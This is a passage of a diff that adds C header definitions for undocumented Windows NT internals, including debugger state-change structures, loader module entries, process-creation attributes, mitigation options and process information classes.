DBGKM_UNLOAD_DLL, *PDBGKM_UNLOAD_DLL; + +typedef enum _DBG_STATE +{ + DbgIdle, + DbgReplyPending, + DbgCreateThreadStateChange, + DbgCreateProcessStateChange, + DbgExitThreadStateChange, + DbgExitProcessStateChange, + DbgExceptionStateChange, + DbgBreakpointStateChange, + DbgSingleStepStateChange, + DbgLoadDllStateChange, + DbgUnloadDllStateChange +} DBG_STATE, *PDBG_STATE; + +typedef struct _DBGUI_CREATE_THREAD +{ + HANDLE HandleToThread; + DBGKM_CREATE_THREAD NewThread; +} DBGUI_CREATE_THREAD, *PDBGUI_CREATE_THREAD; + +typedef struct _DBGUI_CREATE_PROCESS +{ + HANDLE HandleToProcess; + HANDLE HandleToThread; + DBGKM_CREATE_PROCESS NewProcess; +} DBGUI_CREATE_PROCESS, *PDBGUI_CREATE_PROCESS; + +typedef struct _DBGUI_WAIT_STATE_CHANGE +{ + DBG_STATE NewState; + CLIENT_ID AppClientId; + union + { + DBGKM_EXCEPTION Exception; + DBGUI_CREATE_THREAD CreateThread; + DBGUI_CREATE_PROCESS CreateProcessInfo; + DBGKM_EXIT_THREAD ExitThread; + DBGKM_EXIT_PROCESS ExitProcess; + DBGKM_LOAD_DLL LoadDll; + DBGKM_UNLOAD_DLL UnloadDll; + } StateInfo; +} DBGUI_WAIT_STATE_CHANGE, *PDBGUI_WAIT_STATE_CHANGE; + +typedef struct _DBGSS_THREAD_DATA +{ + struct _DBGSS_THREAD_DATA *Next; + HANDLE ThreadHandle; + HANDLE ProcessHandle; + ULONG ProcessId; + ULONG ThreadId; + BOOLEAN HandleMarked; +} DBGSS_THREAD_DATA, *PDBGSS_THREAD_DATA; + +#define DbgSsSetThreadData(d) \ + NtCurrentTeb()->DbgSsReserved[0] = d + +#define DbgSsGetThreadData() \ + ((PDBGSS_THREAD_DATA)NtCurrentTeb()->DbgSsReserved[0]) + +typedef USHORT RTL_ATOM, *PRTL_ATOM; +typedef long SECURITY_STATUS; + +typedef struct _RTL_SPLAY_LINKS +{ + struct _RTL_SPLAY_LINKS *Parent; + struct _RTL_SPLAY_LINKS *LeftChild; + struct _RTL_SPLAY_LINKS *RightChild; +} RTL_SPLAY_LINKS, *PRTL_SPLAY_LINKS; + +#define RtlInitializeSplayLinks(Links) \ +{ \ + PRTL_SPLAY_LINKS _SplayLinks; \ + _SplayLinks = (PRTL_SPLAY_LINKS)(Links); \ + _SplayLinks->Parent = _SplayLinks; \ + _SplayLinks->LeftChild = NULL; \ + _SplayLinks->RightChild = NULL; \ +} + +typedef struct _PREFIX_TABLE_ENTRY +{ + SHORT NodeTypeCode; + SHORT NameLength; + struct _PREFIX_TABLE_ENTRY *NextPrefixTree; + RTL_SPLAY_LINKS Links; + PANSI_STRING Prefix; +} PREFIX_TABLE_ENTRY, *PPREFIX_TABLE_ENTRY; + +typedef struct _PREFIX_TABLE +{ + SHORT NodeTypeCode; + SHORT NameLength; + PPREFIX_TABLE_ENTRY NextPrefixTree; +} PREFIX_TABLE, *PPREFIX_TABLE; + +typedef struct _RTL_BITMAP +{ + ULONG SizeOfBitMap; + PULONG Buffer; +} RTL_BITMAP, *PRTL_BITMAP; + +typedef struct _RTL_BITMAP_RUN +{ + ULONG StartingIndex; + ULONG NumberOfBits; +} RTL_BITMAP_RUN, *PRTL_BITMAP_RUN; + +typedef enum +{ + RtlBsdItemVersionNumber = 0x00, + RtlBsdItemProductType, + RtlBsdItemAabEnabled, + RtlBsdItemAabTimeout, + RtlBsdItemBootGood, + RtlBsdItemBootShutdown, + RtlBsdItemMax +} RTL_BSD_ITEM_TYPE, *PRTL_BSD_ITEM_TYPE; + +#define DUPLICATE_CLOSE_SOURCE 0x00000001 +#define DUPLICATE_SAME_ACCESS 0x00000002 +#define DUPLICATE_SAME_ATTRIBUTES 0x00000004 + +#define RTL_WALK_MAX_STACK_DEPTH 128 + +// These cannot be ORed together +#define RTL_WALK_KERNEL_MODE_STACK 0x00000000 // Kernel mode callers only +#define RTL_WALK_USER_MODE_STACK 0x00000001 +#define RTL_WALK_TRACE_HANDLES 0x00000300 + +typedef struct _RTL_PROCESS_VERIFIER_OPTIONS +{ + ULONG SizeStruct; + ULONG Option; + UCHAR OptionData[1]; +} RTL_PROCESS_VERIFIER_OPTIONS, *PRTL_PROCESS_VERIFIER_OPTIONS; + +typedef struct _RTL_DEBUG_INFORMATION +{ + HANDLE SectionHandleClient; + PVOID ViewBaseClient; + PVOID ViewBaseTarget; + ULONG_PTR ViewBaseDelta; + HANDLE EventPairClient; + HANDLE EventPairTarget; + HANDLE TargetProcessId; + HANDLE TargetThreadHandle; + ULONG Flags; + SIZE_T OffsetFree; + SIZE_T CommitSize; + SIZE_T ViewSize; + union + { + PRTL_PROCESS_MODULES Modules; + PRTL_PROCESS_MODULE_INFORMATION_EX ModulesEx; + }; + struct _RTL_PROCESS_BACKTRACES *BackTraces; + struct _RTL_PROCESS_HEAPS *Heaps; + struct _RTL_PROCESS_LOCKS *Locks; + PVOID SpecificHeap; + HANDLE TargetProcessHandle; + PRTL_PROCESS_VERIFIER_OPTIONS VerifierOptions; + PVOID ProcessHeap; + HANDLE CriticalSectionHandle; + HANDLE CriticalSectionOwnerThread; + PVOID Reserved[4]; +} RTL_DEBUG_INFORMATION, *PRTL_DEBUG_INFORMATION; + +typedef +VOID +(*PPS_APC_ROUTINE)( + _In_opt_ PVOID ApcArgument1, + _In_opt_ PVOID ApcArgument2, + _In_opt_ PVOID ApcArgument3 + ); + +typedef struct _RTLP_CURDIR_REF *PRTLP_CURDIR_REF; + +typedef struct _RTL_RELATIVE_NAME_U +{ + UNICODE_STRING RelativeName; + HANDLE ContainingDirectory; + PRTLP_CURDIR_REF CurDirRef; +} RTL_RELATIVE_NAME_U, *PRTL_RELATIVE_NAME_U; + +typedef enum _RTL_PATH_TYPE +{ + RtlPathTypeUnknown, + RtlPathTypeUncAbsolute, + RtlPathTypeDriveAbsolute, + RtlPathTypeDriveRelative, + RtlPathTypeRooted, + RtlPathTypeRelative, + RtlPathTypeLocalDevice, + RtlPathTypeRootLocalDevice, +} RTL_PATH_TYPE; + +#define DOS_MAX_COMPONENT_LENGTH 255 +#define DOS_MAX_PATH_LENGTH (DOS_MAX_COMPONENT_LENGTH + 5) +#define NT_MAX_PATH_LENGTH ( (sizeof("\\??\\UNC\\") - sizeof(CHAR) ) + DOS_MAX_PATH_LENGTH + 1) + +typedef struct _CURDIR +{ + UNICODE_STRING DosPath; + HANDLE Handle; +} CURDIR, *PCURDIR; + +#define RTL_USER_PROC_CURDIR_CLOSE 0x00000002 +#define RTL_USER_PROC_CURDIR_INHERIT 0x00000003 + +typedef struct _RTL_DRIVE_LETTER_CURDIR +{ + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + UNICODE_STRING DosPath; +} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; + +#define RTL_MAX_DRIVE_LETTERS 32 +#define RTL_DRIVE_LETTER_VALID (USHORT)0x0001 + +typedef struct _LDR_SERVICE_TAG_RECORD +{ + struct _LDR_SERVICE_TAG_RECORD *Next; + ULONG ServiceTag; +} LDR_SERVICE_TAG_RECORD, *PLDR_SERVICE_TAG_RECORD; + +typedef struct _LDRP_CSLIST +{ + PSINGLE_LIST_ENTRY Tail; +} LDRP_CSLIST, *PLDRP_CSLIST; + +typedef enum _LDR_DDAG_STATE +{ + LdrModulesMerged = -5, + LdrModulesInitError = -4, + LdrModulesSnapError = -3, + LdrModulesUnloaded = -2, + LdrModulesUnloading = -1, + LdrModulesPlaceHolder = 0, + LdrModulesMapping = 1, + LdrModulesMapped = 2, + LdrModulesWaitingForDependencies = 3, + LdrModulesSnapping = 4, + LdrModulesSnapped = 5, + LdrModulesCondensed = 6, + LdrModulesReadyToInit = 7, + LdrModulesInitializing = 8, + LdrModulesReadyToRun = 9 +} LDR_DDAG_STATE; + +typedef struct _LDR_DDAG_NODE +{ + LIST_ENTRY Modules; + PLDR_SERVICE_TAG_RECORD ServiceTagList; + ULONG LoadCount; + ULONG LoadWhileUnloadingCount; + ULONG LowestLink; + union + { + LDRP_CSLIST Dependencies; + SINGLE_LIST_ENTRY RemovalLink; + }; + LDRP_CSLIST IncomingDependencies; + LDR_DDAG_STATE State; + SINGLE_LIST_ENTRY CondenseLink; + ULONG PreorderNumber; +} LDR_DDAG_NODE, *PLDR_DDAG_NODE; + +typedef struct _LDR_DEPENDENCY_RECORD +{ + SINGLE_LIST_ENTRY DependencyLink; + PLDR_DDAG_NODE DependencyNode; + SINGLE_LIST_ENTRY IncomingDependencyLink; + PLDR_DDAG_NODE IncomingDependencyNode; +} LDR_DEPENDENCY_RECORD, *PLDR_DEPENDENCY_RECORD; + +typedef enum _LDR_DLL_LOAD_REASON +{ + LoadReasonStaticDependency, + LoadReasonStaticForwarderDependency, + LoadReasonDynamicForwarderDependency, + LoadReasonDelayloadDependency, + LoadReasonDynamicLoad, + LoadReasonAsImageLoad, + LoadReasonAsDataLoad, + LoadReasonEnclavePrimary, // REDSTONE3 + LoadReasonEnclaveDependency, + LoadReasonUnknown = -1 +} LDR_DLL_LOAD_REASON, *PLDR_DLL_LOAD_REASON; + +#define LDRP_PACKAGED_BINARY 0x00000001 +#define LDRP_IMAGE_DLL 0x00000004 +#define LDRP_LOAD_IN_PROGRESS 0x00001000 +#define LDRP_ENTRY_PROCESSED 0x00004000 +#define LDRP_DONT_CALL_FOR_THREADS 0x00040000 +#define LDRP_PROCESS_ATTACH_CALLED 0x00080000 +#define LDRP_PROCESS_ATTACH_FAILED 0x00100000 +#define LDRP_IMAGE_NOT_AT_BASE 0x00200000 // Vista and below +#define LDRP_COR_IMAGE 0x00400000 +#define LDRP_DONT_RELOCATE 0x00800000 +#define LDRP_REDIRECTED 0x10000000 +#define LDRP_COMPAT_DATABASE_PROCESSED 0x80000000 + +#define LDR_DATA_TABLE_ENTRY_SIZE_WINXP FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, DdagNode) +#define LDR_DATA_TABLE_ENTRY_SIZE_WIN7 FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, BaseNameHashValue) +#define LDR_DATA_TABLE_ENTRY_SIZE_WIN8 FIELD_OFFSET(LDR_DATA_TABLE_ENTRY, ImplicitPathOptions) + +#define RTL_BALANCED_NODE_RESERVED_PARENT_MASK 3 + +typedef struct _RTL_BALANCED_NODE +{ + union + { + struct _RTL_BALANCED_NODE *Children[2]; + struct + { + struct _RTL_BALANCED_NODE *Left; + struct _RTL_BALANCED_NODE *Right; + } s; + }; + union + { + UCHAR Red : 1; + UCHAR Balance : 2; + ULONG_PTR ParentValue; + } u; +} RTL_BALANCED_NODE, *PRTL_BALANCED_NODE; + +typedef struct _LDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + union + { + LIST_ENTRY InInitializationOrderLinks; + LIST_ENTRY InProgressLinks; + }; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + union + { + UCHAR FlagGroup[4]; + ULONG Flags; + struct + { + ULONG PackagedBinary : 1; + ULONG MarkedForRemoval : 1; + ULONG ImageDll : 1; + ULONG LoadNotificationsSent : 1; + ULONG TelemetryEntryProcessed : 1; + ULONG ProcessStaticImport : 1; + ULONG InLegacyLists : 1; + ULONG InIndexes : 1; + ULONG ShimDll : 1; + ULONG InExceptionTable : 1; + ULONG ReservedFlags1 : 2; + ULONG LoadInProgress : 1; + ULONG LoadConfigProcessed : 1; + ULONG EntryProcessed : 1; + ULONG ProtectDelayLoad : 1; + ULONG ReservedFlags3 : 2; + ULONG DontCallForThreads : 1; + ULONG ProcessAttachCalled : 1; + ULONG ProcessAttachFailed : 1; + ULONG CorDeferredValidate : 1; + ULONG CorImage : 1; + ULONG DontRelocate : 1; + ULONG CorILOnly : 1; + ULONG ReservedFlags5 : 3; + ULONG Redirected : 1; + ULONG ReservedFlags6 : 2; + ULONG CompatDatabaseProcessed : 1; + } s; + } u; + USHORT ObsoleteLoadCount; + USHORT TlsIndex; + LIST_ENTRY HashLinks; + ULONG TimeDateStamp; + struct _ACTIVATION_CONTEXT *EntryPointActivationContext; + PVOID Lock; + PLDR_DDAG_NODE DdagNode; + LIST_ENTRY NodeModuleLink; + struct _LDRP_LOAD_CONTEXT *LoadContext; + PVOID ParentDllBase; + PVOID SwitchBackContext; + RTL_BALANCED_NODE BaseAddressIndexNode; + RTL_BALANCED_NODE MappingInfoIndexNode; + ULONG_PTR OriginalBase; + LARGE_INTEGER LoadTime; + ULONG BaseNameHashValue; + LDR_DLL_LOAD_REASON LoadReason; + ULONG ImplicitPathOptions; + ULONG ReferenceCount; + ULONG DependentLoadFlags; + UCHAR SigningLevel; // Since Windows 10 RS2 +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + +typedef struct _INITIAL_TEB +{ + struct + { + PVOID OldStackBase; + PVOID OldStackLimit; + } OldInitialTeb; + PVOID StackBase; + PVOID StackLimit; + PVOID StackAllocationBase; +} INITIAL_TEB, *PINITIAL_TEB; + +typedef struct _IO_STATUS_BLOCK +{ + union + { + NTSTATUS Status; + PVOID Pointer; + }; + ULONG_PTR Information; +} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; + +typedef +VOID +(NTAPI* +PIO_APC_ROUTINE)( + _In_ PVOID ApcContext, + _In_ PIO_STATUS_BLOCK IoStatusBlock, + _In_ ULONG Reserved + ); + +typedef struct _FILE_IO_COMPLETION_INFORMATION +{ + PVOID KeyContext; + PVOID ApcContext; + IO_STATUS_BLOCK IoStatusBlock; +} FILE_IO_COMPLETION_INFORMATION, *PFILE_IO_COMPLETION_INFORMATION; + +typedef struct _FILE_COMPLETION_INFORMATION +{ + HANDLE Port; + PVOID Key; +} FILE_COMPLETION_INFORMATION, *PFILE_COMPLETION_INFORMATION; + +#ifdef __cplusplus +typedef enum _PRIORITY_CLASS : UCHAR +{ + Undefined, + Idle, + Normal, + High, + Realtime, + BelowNormal, + AboveNormal +} PRIORITY_CLASS; +#else +typedef UCHAR PRIORITY_CLASS; +#endif + +typedef struct _PROCESS_PRIORITY_CLASS +{ + BOOLEAN Foreground; + PRIORITY_CLASS PriorityClass; +} PROCESS_PRIORITY_CLASS, *PPROCESS_PRIORITY_CLASS; + +typedef struct _PS_ATTRIBUTE { + ULONG_PTR Attribute; // PROC_THREAD_ATTRIBUTE_XXX | PROC_THREAD_ATTRIBUTE_XXX modifiers, see ProcThreadAttributeValue macro and Windows Internals 6 (372) + SIZE_T Size; // Size of Value or *ValuePtr + union { + ULONG_PTR Value; // Reserve 8 bytes for data (such as a Handle or a data pointer) + PVOID ValuePtr; // data pointer + }; + PSIZE_T ReturnLength; // Either 0 or specifies size of data returned to caller via "ValuePtr" +} PS_ATTRIBUTE, *PPS_ATTRIBUTE; + +typedef struct _PS_ATTRIBUTE_LIST { + SIZE_T TotalLength; // sizeof(PS_ATTRIBUTE_LIST) + * sizeof(PS_ATTRIBUTE) + PS_ATTRIBUTE Attributes[1]; // Depends on how many attribute entries should be supplied to NtCreateUserProcess +} PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST; + +typedef struct _PS_MEMORY_RESERVE { + PVOID ReserveAddress; + SIZE_T ReserveSize; +} PS_MEMORY_RESERVE, *PPS_MEMORY_RESERVE; + +#define PS_ATTRIBUTE_NUMBER_MASK 0x0000ffff +#define PS_ATTRIBUTE_THREAD 0x00010000 // Attribute may be used with thread creation +#define PS_ATTRIBUTE_INPUT 0x00020000 // Attribute is input only +#define PS_ATTRIBUTE_ADDITIVE 0x00040000 // Attribute may be "accumulated", e.g. bitmasks, counters, etc. + +typedef enum _PS_ATTRIBUTE_NUM +{ + PsAttributeParentProcess, // in HANDLE + PsAttributeDebugPort, // in HANDLE + PsAttributeToken, // in HANDLE + PsAttributeClientId, // out PCLIENT_ID + PsAttributeTebAddress, // out PTEB + PsAttributeImageName, // in PWSTR + PsAttributeImageInfo, // out PSECTION_IMAGE_INFORMATION + PsAttributeMemoryReserve, // in PPS_MEMORY_RESERVE + PsAttributePriorityClass, // in UCHAR + PsAttributeErrorMode, // in ULONG + PsAttributeStdHandleInfo, // in PPS_STD_HANDLE_INFO + PsAttributeHandleList, // in PHANDLE + PsAttributeGroupAffinity, // in PGROUP_AFFINITY + PsAttributePreferredNode, // in PUSHORT + PsAttributeIdealProcessor, // in PPROCESSOR_NUMBER + PsAttributeUmsThread, // see MSDN UpdateProceThreadAttributeList (CreateProcessW) - in PUMS_CREATE_THREAD_ATTRIBUTES + PsAttributeMitigationOptions, // in UCHAR + PsAttributeProtectionLevel, // in ULONG + PsAttributeSecureProcess, // since THRESHOLD (Virtual Secure Mode, Device Guard) + PsAttributeJobList, + PsAttributeChildProcessPolicy, // since THRESHOLD2 + PsAttributeAllApplicationPackagesPolicy, // since REDSTONE + PsAttributeWin32kFilter, + PsAttributeSafeOpenPromptOriginClaim, + PsAttributeBnoIsolation, + PsAttributeDesktopAppPolicy, + PsAttributeChpe, // since REDSTONE3 + PsAttributeMax +} PS_ATTRIBUTE_NUM; + +#define PsAttributeValue(Number, Thread, Input, Additive) \ + (((Number) & PS_ATTRIBUTE_NUMBER_MASK) | \ + ((Thread) ? PS_ATTRIBUTE_THREAD : 0) | \ + ((Input) ? PS_ATTRIBUTE_INPUT : 0) | \ + ((Additive) ? PS_ATTRIBUTE_ADDITIVE : 0)) + +#define PS_ATTRIBUTE_PARENT_PROCESS \ + PsAttributeValue(PsAttributeParentProcess, FALSE, TRUE, TRUE) // 0x60000 +#define PS_ATTRIBUTE_DEBUG_PORT \ + PsAttributeValue(PsAttributeDebugPort, FALSE, TRUE, TRUE) // 0x60001 +#define PS_ATTRIBUTE_TOKEN \ + PsAttributeValue(PsAttributeToken, FALSE, TRUE, TRUE) // 0x60002 +#define PS_ATTRIBUTE_CLIENT_ID \ + PsAttributeValue(PsAttributeClientId, TRUE, FALSE, FALSE) // 0x10003 +#define PS_ATTRIBUTE_TEB_ADDRESS \ + PsAttributeValue(PsAttributeTebAddress, TRUE, FALSE, FALSE) // 0x10004 +#define PS_ATTRIBUTE_IMAGE_NAME \ + PsAttributeValue(PsAttributeImageName, FALSE, TRUE, FALSE) // 0x20005 +#define PS_ATTRIBUTE_IMAGE_INFO \ + PsAttributeValue(PsAttributeImageInfo, FALSE, FALSE, FALSE) // 0x6 +#define PS_ATTRIBUTE_MEMORY_RESERVE \ + PsAttributeValue(PsAttributeMemoryReserve, FALSE, TRUE, FALSE) // 0x20007 +#define PS_ATTRIBUTE_PRIORITY_CLASS \ + PsAttributeValue(PsAttributePriorityClass, FALSE, TRUE, FALSE) // 0x20008 +#define PS_ATTRIBUTE_ERROR_MODE \ + PsAttributeValue(PsAttributeErrorMode, FALSE, TRUE, FALSE) // 0x20009 +#define PS_ATTRIBUTE_STD_HANDLE_INFO \ + PsAttributeValue(PsAttributeStdHandleInfo, FALSE, TRUE, FALSE) // 0x2000A +#define PS_ATTRIBUTE_HANDLE_LIST \ + PsAttributeValue(PsAttributeHandleList, FALSE, TRUE, FALSE) // 0x2000B +#define PS_ATTRIBUTE_GROUP_AFFINITY \ + PsAttributeValue(PsAttributeGroupAffinity, TRUE, TRUE, FALSE) // 0x2000C +#define PS_ATTRIBUTE_PREFERRED_NODE \ + PsAttributeValue(PsAttributePreferredNode, FALSE, TRUE, FALSE) // 0x2000D +#define PS_ATTRIBUTE_IDEAL_PROCESSOR \ + PsAttributeValue(PsAttributeIdealProcessor, TRUE, TRUE, FALSE) // 0x2000E +#define PS_ATTRIBUTE_MITIGATION_OPTIONS \ + PsAttributeValue(PsAttributeMitigationOptions, FALSE, TRUE, TRUE) // 0x60010 +#define PS_ATTRIBUTE_PROTECTION_LEVEL \ + PsAttributeValue(PsAttributeProtectionLevel, FALSE, TRUE, FALSE) // 0x20011 +#define PS_ATTRIBUTE_SECURE_PROCESS \ + PsAttributeValue(PsAttributeSecureProcess, FALSE, TRUE, FALSE) // 0x20012 +#define PS_ATTRIBUTE_JOB_LIST \ + PsAttributeValue(PsAttributeJobList, FALSE, TRUE, FALSE) // 0x20013 +#define PS_ATTRIBUTE_CHILD_PROCESS_POLICY \ + PsAttributeValue(PsAttributeChildProcessPolicy, FALSE, TRUE, FALSE) // 0x20014 +#define PS_ATTRIBUTE_ALL_APPLICATION_PACKAGES_POLICY \ + PsAttributeValue(PsAttributeAllApplicationPackagesPolicy, FALSE, TRUE, FALSE) // 0x20015 +#define PS_ATTRIBUTE_WIN32K_FILTER \ + PsAttributeValue(PsAttributeWin32kFilter, FALSE, TRUE, FALSE) // 0x20016 +#define PS_ATTRIBUTE_SAFE_OPEN_PROMPT_ORIGIN_CLAIM \ + PsAttributeValue(PsAttributeSafeOpenPromptOriginClaim, FALSE, TRUE, FALSE) // 0x20017 +#define PS_ATTRIBUTE_BNO_ISOLATION \ + PsAttributeValue(PsAttributeBnoIsolation, FALSE, TRUE, FALSE) // 0x20018 +#define PS_ATTRIBUTE_DESKTOP_APP_POLICY \ + PsAttributeValue(PsAttributeDesktopAppPolicy, FALSE, TRUE, FALSE) // 0x20019 + +typedef enum _PS_STD_HANDLE_STATE { + PsNeverDuplicate, + PsRequestDuplicate, // Duplicate standard handles specified by PseudoHandleMask, and only if StdHandleSubsystemType matches the image subsystem + PsAlwaysDuplicate, // Always duplicate standard handles + PsMaxStdHandleStates +} PS_STD_HANDLE_STATE; + +#define HANDLE_DETACHED_PROCESS ((HANDLE)-1) +#define HANDLE_CREATE_NEW_CONSOLE ((HANDLE)-2) +#define HANDLE_CREATE_NO_WINDOW ((HANDLE)-3) + +#define PS_STD_INPUT_HANDLE 0x1 +#define PS_STD_OUTPUT_HANDLE 0x2 +#define PS_STD_ERROR_HANDLE 0x4 + +typedef struct _PS_STD_HANDLE_INFO +{ + union + { + ULONG Flags; + struct + { + ULONG StdHandleState : 2; // PS_STD_HANDLE_STATE + ULONG PseudoHandleMask : 3; // PS_STD_* + } s; + }; + ULONG StdHandleSubsystemType; +} PS_STD_HANDLE_INFO, *PPS_STD_HANDLE_INFO; + +typedef struct _PS_BNO_ISOLATION_PARAMETERS +{ + UNICODE_STRING IsolationPrefix; + ULONG HandleCount; + PVOID *Handles; + BOOLEAN IsolationEnabled; +} PS_BNO_ISOLATION_PARAMETERS, *PPS_BNO_ISOLATION_PARAMETERS; + +typedef enum _PS_MITIGATION_OPTION +{ + PS_MITIGATION_OPTION_NX, + PS_MITIGATION_OPTION_SEHOP, + PS_MITIGATION_OPTION_FORCE_RELOCATE_IMAGES, + PS_MITIGATION_OPTION_HEAP_TERMINATE, + PS_MITIGATION_OPTION_BOTTOM_UP_ASLR, + PS_MITIGATION_OPTION_HIGH_ENTROPY_ASLR, + PS_MITIGATION_OPTION_STRICT_HANDLE_CHECKS, + PS_MITIGATION_OPTION_WIN32K_SYSTEM_CALL_DISABLE, + PS_MITIGATION_OPTION_EXTENSION_POINT_DISABLE, + PS_MITIGATION_OPTION_PROHIBIT_DYNAMIC_CODE, + PS_MITIGATION_OPTION_CONTROL_FLOW_GUARD, + PS_MITIGATION_OPTION_BLOCK_NON_MICROSOFT_BINARIES, + PS_MITIGATION_OPTION_FONT_DISABLE, + PS_MITIGATION_OPTION_IMAGE_LOAD_NO_REMOTE, + PS_MITIGATION_OPTION_IMAGE_LOAD_NO_LOW_LABEL, + PS_MITIGATION_OPTION_IMAGE_LOAD_PREFER_SYSTEM32, + PS_MITIGATION_OPTION_RETURN_FLOW_GUARD, + PS_MITIGATION_OPTION_LOADER_INTEGRITY_CONTINUITY, + PS_MITIGATION_OPTION_STRICT_CONTROL_FLOW_GUARD, + PS_MITIGATION_OPTION_RESTRICT_SET_THREAD_CONTEXT, + PS_MITIGATION_OPTION_ROP_STACKPIVOT, // since REDSTONE3 + PS_MITIGATION_OPTION_ROP_CALLER_CHECK, + PS_MITIGATION_OPTION_ROP_SIMEXEC, + PS_MITIGATION_OPTION_EXPORT_ADDRESS_FILTER, + PS_MITIGATION_OPTION_EXPORT_ADDRESS_FILTER_PLUS, + PS_MITIGATION_OPTION_RESTRICT_CHILD_PROCESS_CREATION, + PS_MITIGATION_OPTION_IMPORT_ADDRESS_FILTER, + PS_MITIGATION_OPTION_MODULE_TAMPERING_PROTECTION +} PS_MITIGATION_OPTION; + +typedef enum _PS_CREATE_STATE +{ + PsCreateInitialState, + PsCreateFailOnFileOpen, + PsCreateFailOnSectionCreate, + PsCreateFailExeFormat, + PsCreateFailMachineMismatch, + PsCreateFailExeName, // Debugger specified + PsCreateSuccess, + PsCreateMaximumStates +} PS_CREATE_STATE; + +typedef struct _PS_CREATE_INFO +{ + SIZE_T Size; + PS_CREATE_STATE State; + union + { + // PsCreateInitialState + struct + { + union + { + ULONG InitFlags; + struct + { + UCHAR WriteOutputOnExit : 1; + UCHAR DetectManifest : 1; + UCHAR IFEOSkipDebugger : 1; + UCHAR IFEODoNotPropagateKeyState : 1; + UCHAR SpareBits1 : 4; + UCHAR SpareBits2 : 8; + USHORT ProhibitedImageCharacteristics : 16; + } s1; + } u1; + ACCESS_MASK AdditionalFileAccess; + } InitState; + + // PsCreateFailOnSectionCreate + struct + { + HANDLE FileHandle; + } FailSection; + + // PsCreateFailExeFormat + struct + { + USHORT DllCharacteristics; + } ExeFormat; + + // PsCreateFailExeName + struct + { + HANDLE IFEOKey; + } ExeName; + + // PsCreateSuccess + struct + { + union + { + ULONG OutputFlags; + struct + { + UCHAR ProtectedProcess : 1; + UCHAR AddressSpaceOverride : 1; + UCHAR DevOverrideEnabled : 1; // From Image File Execution Options + UCHAR ManifestDetected : 1; + UCHAR ProtectedProcessLight : 1; + UCHAR SpareBits1 : 3; + UCHAR SpareBits2 : 8; + USHORT SpareBits3 : 16; + } s2; + } u2; + HANDLE FileHandle; + HANDLE SectionHandle; + ULONGLONG UserProcessParametersNative; + ULONG UserProcessParametersWow64; + ULONG CurrentParameterFlags; + ULONGLONG PebAddressNative; + ULONG PebAddressWow64; + ULONGLONG ManifestAddress; + ULONG ManifestSize; + } SuccessState; + }; +} PS_CREATE_INFO, *PPS_CREATE_INFO; + +#define PROCESS_CREATE_FLAGS_BREAKAWAY 0x00000001 +#define PROCESS_CREATE_FLAGS_NO_DEBUG_INHERIT 0x00000002 +#define PROCESS_CREATE_FLAGS_INHERIT_HANDLES 0x00000004 +#define PROCESS_CREATE_FLAGS_OVERRIDE_ADDRESS_SPACE 0x00000008 +#define PROCESS_CREATE_FLAGS_LARGE_PAGES 0x00000010 + +// Only usable with NtCreateUserProcess (Vista+): +#define PROCESS_CREATE_FLAGS_LARGE_PAGE_SYSTEM_DLL 0x00000020 +#define PROCESS_CREATE_FLAGS_PROTECTED_PROCESS 0x00000040 // Only allowed if the calling process is itself protected +#define PROCESS_CREATE_FLAGS_CREATE_SESSION 0x00000080 +#define PROCESS_CREATE_FLAGS_INHERIT_FROM_PARENT 0x00000100 +#define PROCESS_CREATE_FLAGS_SUSPENDED 0x00000200 +#define PROCESS_CREATE_FLAGS_EXTENDED_UNKNOWN 0x00000400 + +typedef enum _MEMORY_RESERVE_TYPE +{ + MemoryReserveUserApc, + MemoryReserveIoCompletion, + MemoryReserveTypeMax +} MEMORY_RESERVE_TYPE; + +typedef struct _PROCESS_HANDLE_TRACING_ENABLE +{ + ULONG Flags; +} PROCESS_HANDLE_TRACING_ENABLE, *PPROCESS_HANDLE_TRACING_ENABLE; + +#define PROCESS_HANDLE_TRACING_MAX_SLOTS 0x20000 + +typedef struct _PROCESS_HANDLE_TRACING_ENABLE_EX +{ + ULONG Flags; + ULONG TotalSlots; +} PROCESS_HANDLE_TRACING_ENABLE_EX, *PPROCESS_HANDLE_TRACING_ENABLE_EX; + +typedef enum _PROCESSINFOCLASS +{ + ProcessBasicInformation, // q: PROCESS_BASIC_INFORMATION, PROCESS_EXTENDED_BASIC_INFORMATION + ProcessQuotaLimits, // qs: QUOTA_LIMITS, QUOTA_LIMITS_EX + ProcessIoCounters, // q: IO_COUNTERS + ProcessVmCounters, // q: VM_COUNTERS, VM_COUNTERS_EX, VM_COUNTERS_EX2 + ProcessTimes, // q: KERNEL_USER_TIMES + ProcessBasePriority, // s: KPRIORITY + ProcessRaisePriority, // s: ULONG + ProcessDebugPort, // q: HANDLE + ProcessExceptionPort, // s: HANDLE + ProcessAccessToken, // s: PROCESS_ACCESS_TOKEN + ProcessLdtInformation, // qs: PROCESS_LDT_INFORMATION // 10 + ProcessLdtSize, // s: PROCESS_LDT_SIZE + ProcessDefaultHardErrorMode, // qs: ULONG + ProcessIoPortHandlers, // (kernel-mode only) + ProcessPooledUsageAndLimits, // q: POOLED_USAGE_AND_LIMITS + ProcessWorkingSetWatch, // q: PROCESS_WS_WATCH_INFORMATION[]; s: void + ProcessUserModeIOPL, + ProcessEnableAlignmentFaultFixup, // s: BOOLEAN + ProcessPriorityClass, // qs: PROCESS_PRIORITY_CLASS + ProcessWx86Information, + ProcessHandleCount, // q: ULONG, PROCESS_HANDLE_INFORMATION // 20 + ProcessAffinityMask, // s: KAFFINITY + ProcessPriorityBoost, // qs: ULONG + ProcessDeviceMap, // qs: PROCESS_DEVICEMAP_INFORMATION, PROCESS_DEVICEMAP_INFORMATION_EX + ProcessSessionInformation, // q: PROCESS_SESSION_INFORMATION + ProcessForegroundInformation, // s: PROCESS_FOREGROUND_BACKGROUND + ProcessWow64Information, // q: ULONG_PTR + ProcessImageFileName, // q: UNICODE_STRING + ProcessLUIDDeviceMapsEnabled, // q: ULONG + ProcessBreakOnTermination, // qs: ULONG + ProcessDebugObjectHandle, // q: HANDLE // 30 + ProcessDebugFlags, // qs: ULONG 